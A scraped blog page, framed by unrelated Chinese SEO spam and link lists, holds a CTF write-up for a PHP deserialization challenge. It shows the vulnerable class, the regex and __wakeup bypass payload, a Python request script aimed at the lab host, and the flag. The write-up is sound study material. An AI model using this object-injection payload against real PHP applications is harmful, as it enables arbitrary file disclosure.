当前位置: 首页 > news >正文

企业的门户网站一般用什么做做一个微信小程序商城需要多少钱

企业的门户网站一般用什么做,做一个微信小程序商城需要多少钱,品牌网站是什么,张家港网站建设培训学校天命&#xff1a;这条反序列化题目也是比较特别&#xff0c;里面的漏洞知识点&#xff0c;在现在的php都被修复了 天命&#xff1a;而且这次反序列化的字符串数量跟其他题目不一样 <?php class Demo { // 初始化给变量内容&#xff0c;也就是当前文件&#xff0c;高亮显示…

天命:这条反序列化题目也是比较特别,里面的漏洞知识点,在现在的php都被修复了

天命:而且这次反序列化的字符串数量跟其他题目不一样

 <?php 
class Demo { // 初始化给变量内容,也就是当前文件,高亮显示出来private $file = 'index.php';// 初始化触发函数:把我们输入的东西放入属性变量里,就是我们反序列化的时候输入的东西public function __construct($file) { $this->file = $file; }// 销毁时候触发,相当于是打印flag文件出来function __destruct() { echo @highlight_file($this->file, true); }// 这个方法不会触发,估计是旧版本的php,满足某些情况所以没有触发// 纯碎用来吓人,我还研究了一晚上如何让  fl4g.php == index.php// fl4g.php == index.php,就算是弱比较也是不可能相等的function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php  // 直接访问是空气$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 即是重点,也是难点,更是无用的点// 现在版本的php都已经修复了if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

坑点:__wakeup函数可以忽略,根本不会触发,

麻痹研究了我一晚上如何才能让  fl4g.php == index.php 

最后结论:就算是弱比较,也不可能相等,没有其他办法

所以只需要绕过正则表达式即可,不会正则表达式自己去学习

既不简单,也不难,我也学了几天才算比较掌握
 

【绕过点一】绕过正则,在O:4: 改成 O:+4: 就可以了

多一个+号(具体原理也不清楚,反正当是刷经验了,上古版本的php才有的漏洞)

【绕过点二】绕过 __wakeup函数,把反序列化中的内容数量,从1改成2即可

至少很大概率是这样绕过,看别人wp讲的

大概意思应该是当反序列化的  属性变量数  大于  当前类的属性变量数 的时候,就什么安全性因素,就不触发

【绕过点三】加上\00

变量名:Demofile 变成  \00Demo\00, 字符个数+2就行:s:10:"\00Demo\00file"

这里可能是因为 private 的原因,所以是+2

其他题目是protected,就是+3

也不确定是不是肯定,做的反序列化题目还不够多

【最终改变】

O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

写上测试脚本

import requests,base64# 两个payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'# 编码
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')# 发送请求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:print("成功了")

base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

http://www.yayakq.cn/news/481314/

相关文章:

  • 江苏省建设执业网站网站开发语言查看
  • 网站建设 pdfwordpress整站源码带数据
  • 小网站建设公司校园二手市场网站开发的意义
  • 整站优化工具装修队伍做网站
  • 网站不符合个人备案性质用vue做的网站怎么实现响应式
  • 中小型网站建设市场平台建设包括哪些方面
  • 河南省鹤壁市住房和城乡建设局网站网站免费建站叉手
  • 微积壹佰 网站建设网站建设项目来源
  • 网站开发工作量评估瓯北网站制作报价
  • 电子商务网站建设预算免费网络课程
  • 网站建设哪家好服装公司网站定位
  • 响应式的网站做优化好吗多媒体设计与制作毕业设计
  • 公司的网站推广简洁大气企业网站模板
  • 洛阳住房与城乡建设厅网站网站推广优化哪家公司好
  • 优质网站建设报价河北建设工程信息网官网 费用中项网
  • 免费申请自己的网站网站上文章分享的代码怎么做的
  • 爱站网挖掘工具网站建设主管
  • 扁平化设计个人网站企业网站如何建立
  • 建筑网站步骤视频网站如何建设
  • 专业制作网站的公司娱乐游戏网站建设
  • 做门户网站啥意思域名购买网站有哪些问题
  • 深圳微商城网站制作公司秀米编辑器官网
  • 网站制作进度表邯郸做wap网站的地方
  • 深圳网站建设服务器公司ui设计软件sketch
  • 网站落地页怎么做的给企业做网站公司
  • 河北做网站找谁小程序定制开发深圳
  • 顶尖的郑州网站建设建设网站的岗位职责
  • 京东网站建设分析中国最好的设计公司
  • 查企业的网站有哪些智能建站设计
  • 单位建设网站申请网站做跳转链接的好处